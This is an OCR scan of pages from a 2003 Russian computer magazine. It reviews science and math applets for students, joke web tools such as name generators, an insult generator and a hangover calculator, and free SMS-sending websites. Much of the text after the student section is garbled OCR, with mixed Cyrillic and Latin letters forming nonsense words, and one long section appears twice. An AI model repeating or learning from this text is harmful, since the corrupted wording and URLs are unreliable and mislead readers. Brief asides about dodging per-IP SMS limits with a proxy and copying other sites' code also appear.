* mol, *.pdb). С помощью дополни- 
тельных настроек меняется ото- 
бражение и легко рассчитываются 
нужные расстояния и углы между 
узловыми атомами. Есть автовра- 
щение, поставил и медитируй :). 


http://javaboutique.internet.com/ 
GraphApplet 

Удачный симбиоз навороченного 
калькулятора и координатной оси 
для наглядного построения гра- 
фиков. Вводишь функцию любой 
сложности, зависящую от двух 
переменных, потом задаешь ди- 
апазон изменения переменных - 
график готов. С помощью курсора 
мышки ты можешь посмотреть ко- 
ординаты любой точки на rpacpn- 
ке. Есть масштабируемость, две 
ячейки памяти, округление и не- 
заменимый сброс :). Функции вво- 
дить можно как ручками, так и с 


помощью задающих их кнопочек. 


http://javaboutique.inter- 
net.com/PGC 

Идеальная фича для решения 
небольших систем уравнений 
графически. График строится как 
на обычной (читай декартовой), 
так и на комплексной системе ко- 
ординат. На одном графике ужи- 
ваются, держись за стул, gO ше- 
сти (!) разных функций одновре- 
менно, зависящих максимум от 
пяти (!) переменных. Кроме этого, 
функции можно выражать друг 
через друга. Для одной перемен- 


МЕВ/УНИВЕРСАЛЬНАЯ ПАГА СТУДЕНТА 


ной можно выставить диапазон 
изменения либо задать ее пара- 
метрически. У остальных подоб- 
ного диапазона нет, но любую пе- 
ременную можно менять, таская 
мышкой по координатной плоско- 
сти, что очень удобно и наглядно. 
Есть возможность циклического 
изменения любой переменной с 
одновременной анимацией всех 
изменений. В сводной табличке 
постоянно отображаются теку- 
щие значения всех переменных и 
функций. Есть удобный масшта- 
бирующий инструмент. И нако- 
нец, к апплету прилагается ис- 
черпывающее описание всех 
возможностей и поддерживае- 
мых стандартных функций. 


http://integrals.wolfram.com/ 
index.en.cgi 

Вычисление неопределенных 
(читай - без пределов интегриро- 
вания) интегралов он-лайн. Это 
просто бесценный ресурс, теперь 
сделать типовик по интегралам, 
как два пальца облизать :). Ми- 
нус только в одном - не даются 
промежуточные выкладки. 


http://www.lightlink.com/ 
sergey/java/index.html 

Тут лежат 23 обучающих annneta 
по оптике, электротехнике и фи- 
зике. Чего тут только нет: нагляд- 
ное представление закона Кирго- 
фа, понятие фокусного расстоя- 
ния, преломление в призме и мно- 
го всякой всячины. Смотри сам. 


http://www.chemistry.ru/ 
applets/ptable.html 

Вот она, родная периодическая та- 
блица элементов Менделеева. Тут 


тебе отображение элементов по 
группам, по металлическим свой- 
ствам или по электроотрицатель- 
ности. Жмешь на любом элементе 
и получаешь подробную характе- 
ристику: обозначение, атомная 
масса, электроотрицательность, 
температура кипения и плавления, 
плотность и другие свойства. 


http://www.falstad.com/ 
mathphysics.html 

Очередная сборная солянка из 
32 обучающих апплетов на раз- 
ные темы: волны и колебания, 
акустика, электростатика и магне- 
тизм, электродинамика, кванто- 
вая механика, линейная алгебра, 
термодинамика и прочая бяка. 


http://www.processassociates.com 
/process/convert/cf_all.htm 

И уж совсем никуда не денешься 
без конвертора разных единиц 
измерения. Тут их целых 50 (!). 
Выбирай и пересчитывай. 


НАПОСЛЕДОК 

В инете практически нет уни- 
версальных скриптов, с помо- 
щью которых можно было бы 
перерешать все на свете. Свя- 
зано это прежде всего с суще- 
ствованием мощных математи- 
ческих пакетов типа Mathcad, 
Mathlab и т.п. То есть зачем ко- 
вырять землю вилкой, если 
есть лопата. Но они, к сожале- 
нию, не позволяют использо- 
вать свои ресурсы он-лайн. И 
вторая проблема - у ява-скрип- 
тов, ява-апплетов и с9!-скрип- 
тов очень слабая поддержка 
сложных математических исчи- 
слений. Для вычисления того 
же простенького интеграла при- 
дется ручками писать разложе- 
ние в ряд, а энтузиастов, понят- 


ное дело, нет :). 


ЕЕ 
05(30) 2003 ЕЕ 


IS€LfAL-938 


Если форма 
ссылается на 
какой-нибудь 
с9!-скрипт, то 

выкачать 
нельзя, но 
можно сос- 
латься к это- 
му скрипту 
по абсолют- 
ному адресу. 


раде 


ПРИКОЛЬНЫЕ И 
ПОНТОВЫЕ ШЕВ-ТУЛЗЫ 


ЧЕМ РАЗВЛЕЧЬ СЕБЯ И СВОЮ ПОДРУЖКУ В СЕТИ 


matt gophph (matt@nmrul, 
MOOF (moofdreal.xehep.ru; 
httes/meotru) 


CITY Had PRT 
таков" истинный 
хумор СЕТИ > это ее 
приюопьные тупзы, © которых ыы 
тебе и расскамиеы. 


C.¥.8.0.8.6. 
hitoy www. brunching.comy/ 
Cyionger_htm 
a дришжка на тот Ona, ecw тебя зае 
осёл всякие полевые Ofna 
чатовсвоный гупьзми волросаыи типа 
“EOTRy 9a y тебя Taio ник?" Теперь 
ВАЖеСТГ ТОГО HTC CMTC Ms, РОУ CH 
родился вспедствие свобоюного Mae 
ния отустошенной бутылки пиваина 
Hay, UDR УиЛиГЬ СЮСЕИ СЕМ 
опрашааать: “А OTH a OH, ПОСТ, м 
ня", СЛ ВИС АНЫ oueno paclingnpyen 
BPO так, юля C700 Tha MOD со Ce 
ным aT eo, 6 ote, MOT INOOh 
Tas суровая оействительность: 

Май - Mechanical Android Trained 
for Trowileshooting 

Moo! - Machine Gotimized for Obser- 
valor and Fayhiing 

Рссиезязычныйй аналог зоесы 


Пре wwrw.korova rumor, 
cyborg.php 


CF SLOG - aaand wo pee aniopr? 


Гезеритир otter eee 


Генератор ныен хоббитов 
и зльфов 

https ware chriswethenellcom/ 
ead 


Загоняешься го Топинену и до 
сих пор не придумал себе нике 
Гога тебе сима. Просто авоюи 
свои TU (топько не перепутай: 
девочки + напаво, мапьчини - на- 
право} и получай хоббитское имя, 
Из Matta вышел, например. Wil- 
bald бапдегы ой Willowbotitom 
Тебя бопьше прут “Звезоные 
войны", тогоа тебе нужен Shar 
Wars Чате Maker: 
tte weve fishetotong/ starwars! 
namemaker imi 


Японизатор ныен 

http: werwurban?S.com/Mag/ 
зар. ти 

Чтобы японизировать свою погре 
муку, просто весе нак (MBean 
Twi) и смотри диагноз. Май, вапри. 
мер, в |р-стиле оказапся Matsutsu, а 
х - ганери, Так что можешь теперь 
называть нас нех ай. 


Гезерзиор ee мун аа ране 


Fantasy Military Unit Generator 
http: waww.seventhsanctum.ocom,! 
gens/Tantasyunit.php 

OY PASH OOH Te det eee 
апьный ник? Павая сюда! Выйби 
раешь копичество и ао юнитов 
{читай “ников” gna генерации. 
Выхрска кватанет > пххраока 150 
штук" Cavalry = Underground, Race 
> Trols = infantry « Underground, 
Environment > Grown abc. Awa 
“Generale” и получай: Spelumking 
Wreckers, Patrolling Wingers “nu 
Graqon Whirlwinds. Kpowe code 
стванно названия юнита тебе а 
нагрузку Gay) его краткие ТТХ и 
пресназначение 


Часы смерти 

https! Авлииифва соску 
Кукушки > тупые птицы, пиния 
мизни - песня “Сппина“, Как жа 
тогда узнать дёнь твоего отбы- 
тия? Вводби дати рожоения, поп и 
TAN прогноза: нормальный, опти- 
ынстический, песбиыистический 
ипи садистскнй, Жми еринствен» 
ный батон н с ужасом жон, пока 
наконексто загрузится дата твоей 
смерти Е. Что, спишком долго 
жить остапось? Тогоа поставь са- 
нстсний тип прогноза - он еще 
net 60 сбросит. Не веришь BO 
весь этот брео? Ну, кая знаешь. 
Талько эти часы делают прагноа 
исходя из средней продолжи- 
тельности жизни, Так что пучша 
ГоТОВыСЯ.— 


httpe!rustruyfbooks/ analysis 
Ну, наконец-то gotpanece! Иногда, 


во аремо оебатирование с каким“ 
HED першем а чате’асыке/ирке. 


as 


= 


bite Cope :-Е 


PRON BAe 


твои руки и клава не услевают за 
перапопняющими мозг чувствами. 
А высказатьсяето всё раано насой 
Не парься! Закофишь на генератор 
матов, а вальше просто. ME“Cre- 
нериравать", ctriec, alt*tab, ctri+vy, 
att*tab, jrp п". 

Генератор ругатепьств 
(hitp,! wewwerolltru/damn) yucert 
вписывать в ругательства ФИО 
жертвы, 


http ww. maghel.com/heads/! 
comhe.hihm 


310 HaCToRWaa он’пайновая PHO” 
вапна карижагур, которая не тре- 
бует от тебе ни грамма творче- 
ских способностей, Ебинстеен- 
ное, что тебе пригодится, > фото 
графия оругана или npenoga. Все 
просто: по центру собственно 
хопст, по бокам * варианты черт 
пыца. Можно изменять" Skull - 
прическа, eyebrow - pore, eye - 
глаза, teample - yuu, jaws - че- 
пюсть, пызы > por, chin * п09бе 
росок. Просто no порооку пере 
бираешь уши, носы, глаза и nae 
ры и TORU: это все ож ин 
IAMS жертавя, 


Стихотворемня 
гаплюцииодеппь 
http fgenmorg/stult/stins 


Свазап юому-то, что пишецеь сти- 
OTRO HA, и тебя попросипы 
принести сборние? Oa, ты попал! 
Но не расстраивайся. Зазскри на 
https gennong/stulf/sties и resi 
рируй, сколько душа пожелает. 


Бодун. Инуненоуальный pace 
чет количества санртного 
ittpc///wew.korova.ru/humor 
bodun.php 

Ec на всех пкитойнах тебя go 
сих пор бросает из крайности в 
крайность (я ныею Bey eit 
ствие алкоголе), то пора те8е на- 
канец-то определиться OO своей 
норыся. A можешь нажоый раз 
[обстоятельства BE MEHREITC A!) 
рассчитывать, 62 снова. Овигая на 
ittpy!bodun2.naredur и выбирай: 
нрепость. напитка гот пагкого че- 
тырехоборотного MBA до чистого 
ыедицинсвого спирта), возраст, 
вет, поп, будешь пи фогоняться 
пивом, часто пи бывает бодун, где 
будешь пить (Goma ha природе], 


ТН ПР С ВВ 


Sle ЕСТИЕ CHP Hore 


уровень мастерства и кажова, соб- 
ственно, цепь упоиуреблянноия: 
спиртных напитная (не бойся, это 
не GMS мипицин и не опя тамом» 
ни}. А он тебе... Ба-бах! Ваша нор- 
ма 438 (pao: И печать. 


Wowwi Апко МЕТР 

httpy!/ www. wowwiloncru/advise/ 
итак. Пти 

Это типза помонет тебе выяснить 
содержание крови в твоем спирте 
посте высрашной пьянки, 


Acronymer 
https! /wew.brunching.com/ 
acronymer htm 

Поюуюоаит ю тебе malmorpygaa 
бпоноинюа и, хтьогька гпазками, 
спрашивает: "А нак переписать 
адресную ннигу с мобилы на 
утюг”, Date не упасть Br 
грязь пицом, ты быстио и уваре» 
но отвечаешь: "А, нужен JPTOM 
cabenb!”. Теперь, борюсь с apen: 
шие, надо быстро ‘узнать, что, 
собственно, тамсие “jptda" - а 
воруг спросит! Именно ame, pac 
шыгрровюой всякого компьютер" 
ного бреда, занимаются фапьний 
роеаственнии ки, бо.руг. "а - Асгому 
тег. Ваодишь ам “}ptde”, а он 
тебе - Joint Program Double 
Technology extension, Bce, теперь 


Pde rocket Fyre feted! peat Hint Picola cele pS 


CO CNOKHO YL можно отв" 
зать OF ноги свой севайс 5), 


date/birthday.html 

Do сих пор думаешь, что фень 
рожоения тельно раз а году? Да, 
юрокодип Гена тебя развел! Васе 
ди сваи дату и время рождения и 
смотри, как, оказывается, много 
поводов выпить! 18, 20 и 50 пет 
ты, юонечно, сам можешь посчи: 
тать, & ТОБСОСОСЬОО cenyrHg. на” 
пример? Mine 35050500 часов? Ват 
зины м займегся банный сврипт. И 
саме Bec) тебе бпижайшинй иэ 
сенуноных, минутных и часовых 


юбипевЕ! 
Оракул 

4 1 ] i Хочешь or 
Ты выбрап себе ник? Думаешь. сео 6 
он очень крутой? Давай mee = ыы 
рим, Специально ое STAR цепей 
и бып создан Оракул, рассказы» ‘ane eae 
вающий асю правду © тебе или о @orowan 
твоем друге - по имени, Достаточ- ны 
на ввести ник, н. свернешись с № = 
книгой таинств, Оракуп выдаст ce к 
тебе результат, По своей сути be Teen! 


Оракуп алой попучился, Так что 


И 0 ie 


ECM HE хочешь портить себе на- 
строение, не спрашеавай у Ораюу- 
па про себя, спроси пучшие про 
своих орузей и знакомых. будет 
над чем посмеяться. 


hitp://pokermon.stepuv/ 

Пижа! Пика! Пика-Чу! Да, моба на 
покеыоноя He угасает, а разэгора: 
ется с новой CHRON, Ваофи скорее 
свой ник и потучай своего Nowe 
мона, На момент написания 
статьи уже почти JOO тысяч we 


PRON BAe 


твои руки и клава не услевают за 
перапопняющими мозг чувствами. 
А высказатьсяето всё раано насой 
Не парься! Закофишь на генератор 
матов, а вальше просто. ME“Cre- 
нериравать", ctriec, alt*tab, ctri+vy, 
att*tab, jrp п". 

Генератор ругатепьств 
(hitp,! wewwerolltru/damn) yucert 
вписывать в ругательства ФИО 
жертвы, 


http ww. maghel.com/heads/! 
comhe.hihm 


310 HaCToRWaa он’пайновая PHO” 
вапна карижагур, которая не тре- 
бует от тебе ни грамма творче- 
ских способностей, Ебинстеен- 
ное, что тебе пригодится, > фото 
графия оругана или npenoga. Все 
просто: по центру собственно 
хопст, по бокам * варианты черт 
пыца. Можно изменять" Skull - 
прическа, eyebrow - pore, eye - 
глаза, teample - yuu, jaws - че- 
пюсть, пызы > por, chin * п09бе 
росок. Просто no порооку пере 
бираешь уши, носы, глаза и nae 
ры и TORU: это все ож ин 
IAMS жертавя, 


Стихотворемня 
гаплюцииодеппь 
http fgenmorg/stult/stins 


Свазап юому-то, что пишецеь сти- 
OTRO HA, и тебя попросипы 
принести сборние? Oa, ты попал! 
Но не расстраивайся. Зазскри на 
https gennong/stulf/sties и resi 
рируй, сколько душа пожелает. 


Бодун. Инуненоуальный pace 
чет количества санртного 
ittpc///wew.korova.ru/humor 
bodun.php 

Ec на всех пкитойнах тебя go 
сих пор бросает из крайности в 
крайность (я ныею Bey eit 
ствие алкоголе), то пора те8е на- 
канец-то определиться OO своей 
норыся. A можешь нажоый раз 
[обстоятельства BE MEHREITC A!) 
рассчитывать, 62 снова. Овигая на 
ittpy!bodun2.naredur и выбирай: 
нрепость. напитка гот пагкого че- 
тырехоборотного MBA до чистого 
ыедицинсвого спирта), возраст, 
вет, поп, будешь пи фогоняться 
пивом, часто пи бывает бодун, где 
будешь пить (Goma ha природе], 


ТН ПР С ВВ 


Sle ЕСТИЕ CHP Hore 


уровень мастерства и кажова, соб- 
ственно, цепь упоиуреблянноия: 
спиртных напитная (не бойся, это 
не GMS мипицин и не опя тамом» 
ни}. А он тебе... Ба-бах! Ваша нор- 
ма 438 (pao: И печать. 


Wowwi Апко МЕТР 

httpy!/ www. wowwiloncru/advise/ 
итак. Пти 

Это типза помонет тебе выяснить 
содержание крови в твоем спирте 
посте высрашной пьянки, 


Acronymer 
https! /wew.brunching.com/ 
acronymer htm 

Поюуюоаит ю тебе malmorpygaa 
бпоноинюа и, хтьогька гпазками, 
спрашивает: "А нак переписать 
адресную ннигу с мобилы на 
утюг”, Date не упасть Br 
грязь пицом, ты быстио и уваре» 
но отвечаешь: "А, нужен JPTOM 
cabenb!”. Теперь, борюсь с apen: 
шие, надо быстро ‘узнать, что, 
собственно, тамсие “jptda" - а 
воруг спросит! Именно ame, pac 
шыгрровюой всякого компьютер" 
ного бреда, занимаются фапьний 
роеаственнии ки, бо.руг. "а - Асгому 
тег. Ваодишь ам “}ptde”, а он 
тебе - Joint Program Double 
Technology extension, Bce, теперь 


Pde rocket Fyre feted! peat Hint Picola cele pS 


CO CNOKHO YL можно отв" 
зать OF ноги свой севайс 5), 


date/birthday.html 

Do сих пор думаешь, что фень 
рожоения тельно раз а году? Да, 
юрокодип Гена тебя развел! Васе 
ди сваи дату и время рождения и 
смотри, как, оказывается, много 
поводов выпить! 18, 20 и 50 пет 
ты, юонечно, сам можешь посчи: 
тать, & ТОБСОСОСЬОО cenyrHg. на” 
пример? Mine 35050500 часов? Ват 
зины м займегся банный сврипт. И 
саме Bec) тебе бпижайшинй иэ 
сенуноных, минутных и часовых 


юбипевЕ! 
Оракул 

4 1 ] i Хочешь or 
Ты выбрап себе ник? Думаешь. сео 6 
он очень крутой? Давай mee = ыы 
рим, Специально ое STAR цепей 
и бып создан Оракул, рассказы» ‘ane eae 
вающий асю правду © тебе или о @orowan 
твоем друге - по имени, Достаточ- ны 
на ввести ник, н. свернешись с № = 
книгой таинств, Оракуп выдаст ce к 
тебе результат, По своей сути be Teen! 


Оракуп алой попучился, Так что 


И 0 ie 


ECM HE хочешь портить себе на- 
строение, не спрашеавай у Ораюу- 
па про себя, спроси пучшие про 
своих орузей и знакомых. будет 
над чем посмеяться. 


hitp://pokermon.stepuv/ 

Пижа! Пика! Пика-Чу! Да, моба на 
покеыоноя He угасает, а разэгора: 
ется с новой CHRON, Ваофи скорее 
свой ник и потучай своего Nowe 
мона, На момент написания 
статьи уже почти JOO тысяч we 


Пставрымя eed № tines den mate 


ре ware meseumofoonceptu- 
alari.com/accomplished/indeshtrnl 
Ha мом сайте ты CCL узнать, 
чего фобились известные Mao, кохг- 
да были в твоем возрасте. Например, 
в 20 er прелвокий Cpenecog Ппэтон 
стал учеником Сократа, А Билл Гейтс 
Gooden Гарвара и основап MicrosolL, 
Представгеяециь. BCMA ты свячас брае 
CMR институт или школу. Основать 
ты явно: MENS HE PORE, сита 
вишься в армию "г, Жаль, что сайт на 
английском языке, 


Сиольно ne gen 

с твоны Meee 

Ире! Авин yournotme.com/ 
Зочеиаь узнать, CHONBED Hapogy жи 
B21 в Вепикобуеитании с таким же 
MC, как у Meta? Tonga этот CoAT 
спечиально gns тебя, Tynsa не 
нашла ни офного чепована с име- 
нам Andrew МОР, OgHasc заботы: 
во спросила: не из секретной пи я 


спужбы и не враг пы я государства" 


Зато Oey с именем James Bond 
оказалась целых 222 человека. А 
кыя Bll Gates носят аж 2 представи” 
TENS туманного Альбиона. 


ИКнопна оля намниыання 

http finopkasush.safindeniten 

В свое время эта кнопка Boy QoDe- 
RMN весь Интернат, Каждый день 
PK BAT компьютеры и начы» 
напи нажимать, нанимать и нажи- 
ызть на эту кнопку, Я так дуиыаяс, что 
ве создании провизвооитенты ыъненой, 
чтобы заставлять покупать новые 
февайсы азаьен облинавилиюися 
старых, хотя автор утверждает, что 
кнопка - 300 "Матасизическая юон- 
струкция, предназначенная для ос- 
сознания иноивисомы пшетносты He 
говачесних усипий, иплюозосности 


собственного CYLUECTEGR aH MAR 


LEPHOCTH всего сушего“. 


Worldometers 
http://werw.osearth.com/ 
resources worldometers/ 

Еще одна соверциенно беспопез“ 
нар вешица. Занимается тем, что 
изыаряет всякие пожазатапи на 
ппанете Земпя. Ты можешь по 
смотреть, скопьюо народу сейчас 
живет (на ывомент написания бы- 
по 5.292. 980.427}. скопьво наро 
у родитьсксь и умерпо за год и за 
день. А таюне снопьно еды, энер- 
гии на планете и много оругих 
беспопезных показателей, 


Тебя motor 
httpy/wwew.f-web.dkytun/tun/ 
love aap Tiname=Xakep 

https www. winoogle man coe)! 
beobles.phprtext= Хакер 

Я знаю. ты пюбишь тусить. среси 
красивых девушек, С помои этих 
COMNOG ТЫ MORAL ПОЛУЧИТЬ, ГОО 
вые (FOTO ACM, а которых попуоб- 
наженные красотки признакугся Te 
бе в пюбеи. Для этого фостаточно 
пишь вписать совой ник в рес. и ты 
попучищь готовую нартинку,. 


| Cmorcrnamepye cade arrline 


Сфотограциируя себя on-line 
httoy!mamadu.ru/photowhtm 

Ем расринаи! Gayle * УТС, KORE 
HO, хоровию, HO) Ma) этом сайте ты смо- 
жмешь попучить свою Qa. 
Причаы тебе не нужна ынианар Bet 
камера! Этот проект основан на том, 
что секретная суперпрораывяя ска- 
нирует эаран, а затем обохабатьяызнет 
попученные точки и COMET 
изображение того, что наюоюится на 
расстояниы не более 60 см от экра- 
на. Toman не пугайся сильных, 


Peamperoe св ром 


Towa сназои 
hitp://dmibotit.ru/-madman/tale 


Pliny занавес нашего обзора я 
расскажу тебе сауну сказку, Хот 
нет, пусть пучше тим занмется 
TOT, CMO Пре уыюет * генератор 
руЕских ненародных сказок, Вых" 
бираешь главного героя, гпавно" 
ГО ЗОНЕ, TMBHONO ПСО т ааа 


щего и сабж, из-за которого вся CS 
fogara бусет заварена. Кроме Eranre, то на 
традиционных Иванушек-дурач- — aot 
ков, Кощеаеа Бассыеотных, Line вала ты 
дильных яблок и деда с бабой во een a wage 
Amr Хавир, в 
напичии имеются мапеньжая 96” пару норзиноя, 
вочка, граф Пракупа, пекарня наной-та нраби, 
"gosa-anet" и "морс6 00”, Сказка и 


получается размером где-то с эту 
страницу! Иногда, правда, пре 
пожения на согласованы, но Be 
остальное - зашибись! Бабушюи 
отдыхают 3), 


Apovep 
https! ‘activate.nuy4youy/ 


weind_masirswl 

Самое ВКУСНОЕ, КОК ИЗВЕСТНО, 
оставлают HANOCNe GOR. Десерт, 
так сказать. Cen аси свом 
ник ипи ник OM SHAR дев 
SORE и S08” BCH округу Olid 
треть занимательный néurpo 
Nee, чеповечку из ролика Tobe 
И НЕ хватапо TREO мыени ON 
полноты Diy. Катуха Jo 
Hag0 смотреть своими гпазаыи.., 


= 


ОТПРАВЛЯЛКИ SMS В СЕТИ 


эоеюсы, что ни QnA 

вого HE Hage обърс- 

нить. что такое 5115. 
Например, в прошепом гору в ми“ 
ре быпо поспано всего-то 430 
0050 000 000 weccar 2), В noc: 
NegHee аремя сайтов а рунете, 
падферживающеях отправку сы, 
развепось. просто туева хуча, Но 
большинство из них ничеы не 
вызепяется пибо страдает из-за 
нриворукости сизайнеров, мега” 
байт баннеров, тормознутости 
сайта ипи поддерживания одно? 
ге onepatoga арое “Деревне 
Пятахатна GSM" (в обзор, ec 
ственно, все перечиспанные не 
попапи 3). Тавже в обзое не по" 
папи платные сайты. 


НЕМНОГО ТЕОРИИ 

SMS, ene Short Megsages Service 
(в перевосе с Oypmyacworo: 
Сераие Мапеньких Сообщений}, 
 устуга, префоставляемая One 
раторами мобильной связи 
уворровых стандартов gna nepe- 
оачи коротких текстовых 2000” 
щений, Сыс по опреоепению 
состомЕ максимум из 160 сиыно- 
пав патянского апозавита (в ки“ 
рилпице в # раза меньше) и 
имеет опресепенный “срок жиз 


го Ксажепа :), мелодии Gna rene 
она и поюзать прочие инозор- 
мационно" развлекательные ус" 
ПГ. 

По agpecy http://www beeon- 
line.ru/ pertalcomemy/sernvd_sms/si 
mple_send_sma.gMs находится 
сама форма опя отправки ams, 
мессаги допетают оо тепефюна 
ысыентально (когоа серваю ипи 
сеть не перегружены, нак B Но 
вогоднкию ночь), Форыз сделана 
довольно паоненько и убобно: 
Из отдельных бенусов можно 
отметить напичие записной 
книжни, отправки мессаг mo 
пеевоониму попучатепя, в22- 
момность ответа на тепефон и 
е-ыып. Правда. gna этих спафос” 
гей надо зарегиться, a gna зэтега 
нада быть абонентом Би-Пайна. 
К минусам можно отнести то, 
что необуснимо вводить ко 
пя отправки сообщения (дума- 
ется, что посте того, как авепи 
это нововведение, большинства 
сторонних серансов перестало 
отправлять смс на БиЛайн по 
понятным причинам) of, Мессаги 
стправпять можно только на Би- 
Пайн (город, 901 и 903). М суще“ 
ствует совольно много ограни“ 
чений на копичаестяо массаг. 


В прошлом году в мире быпо поспано 
всего-то 430 000 000 000 смс 


ни”, до истечения которого обе 
ратор будет постоянно пыталь- 
ся доставить его на место наз: 
начения. Все сыс идут через 
SMSC (Short Messages Service 
Center), фоступ к котороыу MoM 
но попучить также через инет, 
"Протовопы" передачи сме, кая 
BCE это взаимодействует с ине” 
TOM, принципы организации ыо- 
бильной связи можно описы- 
вать довопьно Gono, что выхо- 
дит за раыки статьи. 


ИСПОЛЬЗУЕМ 

beeoniineru 
Noptan bee Narva. Начнаы с то- 
го, что это и так неппохой сайт. 
Всем абонентам Би-Пайна режо- 
ыендеван One регупарного по- 
сешения, Можно скачать раз 
ные поготипы {в том чиста и по- 


Вообще, в Би-Пайне очень топ- 
ково организовано эззнысоей- 
стане сы и e-mail. Каждый або 
нент ыежет получить беспиат- 
ный почтовый BULK опа своего 
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тепеуеюна и на KETO попучать 
обычную печгу ограниченного 
размера: И с тепегрона можно 
отправпять, почту по цене обыч» 
ного сме. Meroe to р забопталея = 
пора перехосить. к МТС. 


misery 
Страничка MT Ca кстати, дизайн 
= ней верстал сам Артемий Пебе- 
gen =}. Такого разнообразня дви 
Wek, как у Би-Пайна, не набпю- 
дается. Перекооны сразу к отп 
равка cue; 
https Илии mits по ОВОУСО 
bin/oglexe?function=sms_send. 
Форма выгпяфит приятно и гру" 
эЗытся быстро. Воего три поле 
кому, Тенст сообщения, крайннй 
срок отправки и кнопка "отпра- 
вить". Ничего пишнего, но асе- 
таки хочется бопьшего, Мессаги 
допетают исправно и быстро, 
Присутствует эвтоыатныеская 
транспитерация. Можно отправ- 


пАть топьжо абонентам МТСа го 
pog, 90а, 910 и 916), На сайте 
сбому упоминается, что, мол, 
можно отправпягь CMC нс woe 
бильного тепезрона :). Сблять-та- 
ки стоит ограничение на котиче- 
ство [не более 10 а день} и регу 
парность (не более 1 в минуту) 
отправгиюе мых мессаг с ооного IP 
прокси никто не отменял 2). 


megafon.ro 
Страничка Мегасюна. 8 nepeyro 
очередь бросается в глаза очень 
стильный дизигн сайта. У Магаеро- 
на по России очень много огоете 
ний и уу камоого свой смс-сеноер. 
Папный OOK регионапьных ог 
депений Мегафрона смотри на 
тефабольги, Например, по аоресу 


отправииюся 304 самые сыс в 
eprom. Кан и у МТС, никаких 


бонусов не наблюдзется, Tonbao 
крайний срон отправки заменен 
на пеевфеним отправитепя. Смс 
LUST TONKS абонентам Мега” 
(oHa (бъюстро и качественно =}, 
Ресурс полезен темы, что бопь- 
шинство серансоя по отправке 
CMC 90 сих пор не поддерживают 


этого оператора, 


Правильное место :). Приятное 
сирармпание, ни обного баннера, 
спефоватепьно, и Грузитсе woe 
ыантапьно, Поддерживает при- 
ыпрно TO операторов Россин, 
Украины, Бепапуси, Грузви, Kar 
закстана, Nana, Эстонии, Уэбе- 
кыстана, Болгарии, Италии и Че- 
хни правда, по всему этому нес- 
келью: неудобная навигация}. 
Возыюжно вести записную юниж- 
ку и соззавать сообщения из 
пары десятков шабпонов непо- 
нятного назначения. Плюе nog: 
оерживается автоматическая 
транепитерашия. 


Еще озуин SOU сайт, Тут уже 
LOMO отправлять CHC почти во 
все страны чира, В одной только 
России поддерживается оператое 
ров оного 50-ти. Ёспи ты не на- 
Wen своего пюбныюсго оператора 
в списне - пиши админам сайта, 
обещают исправить :1. Для on 
PARAM мессаги необхокриыс» BAe 
TH код от автоматической регист- 
рации [а опере эта система гпю- 
чити работать не кочет of |, Bina 
зу сайга есть дее кнопочки опя 
перегона той пабуфы, юоторую ты 
набрал, а ннриппицу и наоборот. 
На сайте тусуется еше куча сер- 
висов вроде отправюи сообане- 
ний на пейожер и аську, пероо- 
напьных настроек, адресной яыи- 


пи и прочего (только для этого 
надо зарегиться) 


wire. cohowlk ry 
Можно сказать, что сотовик - 
центр рунета по вопросам мо 
бипьной связи (говоря научным 
языком = инррормационно-анапи“ 
гическое агентство). Конечны, 
гут есть и свой сыс-сеноео: 
ре Ане ams. Mecca 
ги можно отправлоть на MOG eit 
ные всех (70 GSM операторов 
бывшего СССР {кам угвержнавот 
на сайте). Еспи опять не нашеп 
CaSere пюбимаго оператора - жа- 
пуйся аоминам, Плюс можно вес” 
ти записную KAA со своныи 
пюбимыми номерами, Минусью 
необходимо евобить номер agpe- 
сата цепиком э мемжаународном 
рорыате (47 OMe MARR 
{списка операторов, нах BEDgE, 
HET) и сообщения опиной маюси” 
ыум 15 симвопов 5. Как и везде, 
действуют ограничения на часто 
гри вопичество отпраапеемых 
сообщений. Этот сервис поффер” 
эживается сайтом smsmalloy (aoe 
TOPs, по причине ппатности, в 
обзор не monani. 


Поспеоний смс-ёендер а обзоре, 
Поддерживает всето 9 аперата" 
ров России. это. конечно, не 
ыного, но апопне хватает. В со- 
общение можно аставлять Wat: 
поны сызйлпиюов, которые на сай- 
Te префставлены в виде мапень" 
них картинок. Напрныер, зепа- 
ный крокосит: оси}, птичка 
В+, рыбка в аквариуме: OO, Nery 
чая мышь: IC. Похоже, что у того, 
ATO 310 приоумаг, воображение 
намного богаче моего >, Tanne 
в CMC можно вставлять те=сто- 


вые шаблоны, как на |аасот. 


БОНУСЫ 

eg FF. 
Этот сервис уже нельзя назвать 
сме-сенфероы, Тут можно вос- 
попьзоваться успугой mallesmis, 
Sms2imall отправлять почту па 
CMe и сые по почте) и поописать- 
ся на некоторые рассылки на 
ысобипьник. Еше можно огправ- 
пять сообщения на пейамер, 
скачивать графические ссобыне- 
ния и ыеподии. Пля этого gocta- 
POSH зарегистрироваться. К со- 


MANCHA, этот шик становится 
потихоньку асе бопее платным, 
на пока еше есть полезные 
бесплатные успуги, 


СТАВИМ СЕБЕ 

Еспи ты впаовешь своим 
собственным мегапортапам ипи 
ыапеньной компагой, то, я ду 
a0, тебе томе захочется припа- 
Bl губа сыс-сенфер. Рассыютриы, 
как это можно организовать, 

Можно прасто посыотреть а ис- 
усрниюи какого-нибусь прос- 
теньюого смс-сеноера, вырезать 
все пишнев, неыного поправить 
og свой сайт и с чистой со’ 
вестью вставить в код своей 
страницы :}, Еспи хоть немного 
разбираешься в HTML и 
JavaScript, то се получатся, 
Можно пойти фапьше и произ- 
вести серьезную реструктуриза- 
цию кода HN совокупить сразу 
несколько смс-сеноеров фнапри- 
мер. разных операторов), Но 1} 
все это не совсем офриунально :- 
}. Ну, а еспи ты чувствуешь, что 
ты предки, то - пиши OQ сыс-сен- 
ера с нупя. 

Некоторые сайты позопагаюи 
стать. их партнером, разыестив 
на свооы сайте ну форму gna 
отправки сыс и ссылку на них, 
Например, mobile.igogo.ru/part- 
nerphp. Тут все намного проце: 
прочигать внимательно описа- 
ние, пройти регистрацию и попу- 
чить код сыс-санфера бесплат 
ko). Дальше ace понетно. Плат» 
ные сайты порой предлагают ga- 
WE подепигься с тобой частью 
выручки, еспи ты разыестишь их 
дрорму у себя на странице и ею 
Вудут регупарна пользоваться. 


ЕНД 

Ват вроое все самые интересные 
сервисы по отправке сыс в рунете 
и рассыотрены. За бортом оста- 
пись забугорные и ппатные сер- 
висы. Еспи будут вопросы = пик 


WEB/WAP-CEPBMCBI 


ВЕБ-ТУЛЗЫ 


Самая доступ- 
ная программа 
для просмотра 
М!АР-страниц 
на компьютере 
- это извест- 
ный браузер 
Орега. 


MOOF (moof@real.xakep.ru; http://moof.ru) 


режде чем начать 

